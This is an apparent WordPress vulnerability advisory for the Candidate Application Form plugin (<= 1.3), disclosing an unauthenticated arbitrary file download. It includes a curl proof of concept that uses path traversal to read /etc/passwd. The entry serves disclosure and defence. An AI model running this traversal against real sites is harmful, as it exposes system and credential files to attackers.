WordPress Plugin Vulnerabilities
Candidate Application Form <= 1.3 - Unauthenticated Arbitrary File Download
Description
Plugin is still affected and has been closed.
The code in downloadpdffile.php does not do any sanity checks, allowing a remote attacker to download sensitive system files.
Proof of Concept
$ curl http://www.example.com/wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd
Affects Plugins
No known fix References
Classification
Type
LFI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Larry W. Cashdollar
Submitter
Larry W. Cashdollar
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2015-07-12 (about 8 years ago)
Added
2015-07-14 (about 8 years ago)
Last Updated
2020-10-21 (about 3 years ago)
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